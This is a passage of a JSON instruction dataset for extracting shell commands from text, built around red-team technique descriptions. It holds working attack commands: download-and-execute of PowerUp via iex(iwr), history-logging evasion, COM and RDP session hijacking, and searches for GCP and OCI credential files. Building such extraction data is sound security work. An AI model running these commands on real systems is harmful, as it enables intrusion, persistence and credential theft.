    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The GUP binary, which is normally used by Notepad++ for software updates, can be leveraged to download files from the web. Upon execution of this command, a sample zip file will be saved in C:\\Temp\\Sample:\nmkdir \"c:\\Temp\"\ncd #{working_dir}\nGUP.exe -unzipTo \"\" \"C:\\Temp\" \"Sample #{target_file_url} #{target_file_sha256}\"; The file can be downloaded and saved to a custom path by running the command: nscurl -k \"#{remote_file}\" -o \"#{destination_path}\"",
    "output": "{\"command_list\": [\"mkdir \\\"c:\\\\Temp\\\"\\ncd #{working_dir}\\nGUP.exe -unzipTo \\\"\\\" \\\"C:\\\\Temp\\\" \\\"Sample #{target_file_url} #{target_file_sha256}\\\"\", \"nscurl -k \\\"#{remote_file}\\\" -o \\\"#{destination_path}\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To verify and modify the HISTFILESIZE variable without logging out, use the following command sequence: TEST=$(echo $HISTFILESIZE)\necho $HISTFILESIZE\nexport HISTFILESIZE=0\necho \"runnning some commands to populate the history\"\nwhoami\ngroups\nif [ $(echo $HISTFILESIZE) -eq 0 ]; then echo \"\\$HISTFILESIZE is zero\"; else HIST_LENGHT=$(wc -l $HISTFILE); echo \"\\$HISTFILESIZE is not zero, history lenght is $HIST_LENGHT\";  fi; To verify and modify the command history logging behavior, first check the current HISTSIZE value, then set it to zero and confirm the change using the following commands: echo $HISTSIZE\nexport HISTSIZE=0\necho \"runnning some commands to populate the history\"\nwhoami\ngroups\nif [ $(echo $HISTSIZE) -eq 0 ]; then echo \"\\$HISTSIZE is zero\"; else HIST_LENGTH=$(wc -l $HISTFILE); echo \"\\$HISTSIZE is not zero, history size is $HIST_LENGTH\";  fi",
    "output": "{\"command_list\": [\"TEST=$(echo $HISTFILESIZE)\\necho $HISTFILESIZE\\nexport HISTFILESIZE=0\\necho \\\"runnning some commands to populate the history\\\"\\nwhoami\\ngroups\\nif [ $(echo $HISTFILESIZE) -eq 0 ]; then echo \\\"\\\\$HISTFILESIZE is zero\\\"; else HIST_LENGHT=$(wc -l $HISTFILE); echo \\\"\\\\$HISTFILESIZE is not zero, history lenght is $HIST_LENGHT\\\";  fi\\n\", \"echo $HISTSIZE\\nexport HISTSIZE=0\\necho \\\"runnning some commands to populate the history\\\"\\nwhoami\\ngroups\\nif [ $(echo $HISTSIZE) -eq 0 ]; then echo \\\"\\\\$HISTSIZE is zero\\\"; else HIST_LENGTH=$(wc -l $HISTFILE); echo \\\"\\\\$HISTSIZE is not zero, history size is $HIST_LENGTH\\\";  fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test initiates the Tor proxy service, used by Tor Browser and other applications for onion routing, with the command: [ \"$(uname)\" = 'FreeBSD' ] && sysrc tor_enable=\"YES\" && service tor start || sudo systemctl start tor; You can initiate the Tor proxy service that enables onion routing for various applications, including Tor Browser, with the command: osascript -e 'tell application \"Terminal\" to do script \"tor\"'",
    "output": "{\"command_list\": [\"[ \\\"$(uname)\\\" = 'FreeBSD' ] && sysrc tor_enable=\\\"YES\\\" && service tor start || sudo systemctl start tor\\n\", \"osascript -e 'tell application \\\"Terminal\\\" to do script \\\"tor\\\"'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The kill command can be used to stop a service by sending a SIGTERM signal, like this: sudo kill -SIGTERM $(pgrep #{process_name}). This terminates the running process or does nothing if the service isn't active.; To terminate a specific service by sending a SIGTERM signal to all matching processes, use the following command: sudo pkill -SIGTERM #{process_pattern}",
    "output": "{\"command_list\": [\"sudo kill -SIGTERM $(pgrep #{process_name})\\n\", \"sudo pkill -SIGTERM #{process_pattern}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To collect information for exfiltration, run the following commands which will save various system details to text files in the temp directory: sc query type=service > %TEMP%\\T1119_1.txt\ndoskey /history > %TEMP%\\T1119_2.txt\nwmic process list > %TEMP%\\T1119_3.txt\ntree C:\\AtomicRedTeam\\atomics > %TEMP%\\T1119_4.txt\n; By leveraging PowerShell, you can hijack a COM reference through registry manipulation under the InprocServer32 key in HKCU and then execute the Class ID with rundll32.exe, as shown in this command block: \nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Value '#{clsid_description}'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Value \"#{dllpath}\"\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-sta #{clsid}'",
    "output": "{\"command_list\": [\"sc query type=service > %TEMP%\\\\T1119_1.txt\\ndoskey /history > %TEMP%\\\\T1119_2.txt\\nwmic process list > %TEMP%\\\\T1119_3.txt\\ntree C:\\\\AtomicRedTeam\\\\atomics > %TEMP%\\\\T1119_4.txt\\n\", \"New-Item -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}' -Value '#{clsid_description}'\\nNew-Item -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}\\\\InprocServer32' -Value \\\"#{dllpath}\\\"\\nNew-ItemProperty -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}\\\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \\\"String\\\"\\nStart-Process -FilePath \\\"C:\\\\Windows\\\\System32\\\\RUNDLL32.EXE\\\" -ArgumentList '-sta #{clsid}'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique, often employed by post-exploitation frameworks, writes command output to an Admin Share via the command: cmd.exe /Q /c #{command_to_execute} 1> \\\\127.0.0.1\\ADMIN$\\#{output_file} 2>&1\n; To perform RDP hijacking and transparently take over RDS or RemoteApp sessions, use the following command sequence: query user\nsc.exe create sesshijack binpath= \"cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}\"\nnet start sesshijack",
    "output": "{\"command_list\": [\"cmd.exe /Q /c #{command_to_execute} 1> \\\\\\\\127.0.0.1\\\\ADMIN$\\\\#{output_file} 2>&1\\n\", \"query user\\nsc.exe create sesshijack binpath= \\\"cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}\\\"\\nnet start sesshijack\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For finding GCP credentials stored locally, execute this command which defaults to searching from the root path: find #{file_path}/.config/gcloud -name \"credentials.db\" -o -name \"access_tokens.db\" -type f 2>/dev/null; The credentials can be found in the sessions directory with the command: find #{file_path}/.oci/sessions -name \"token\" -type f 2>/dev/null",
    "output": "{\"command_list\": [\"find #{file_path}/.config/gcloud -name \\\"credentials.db\\\" -o -name \\\"access_tokens.db\\\" -type f 2>/dev/null\\n\", \"find #{file_path}/.oci/sessions -name \\\"token\\\" -type f 2>/dev/null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit 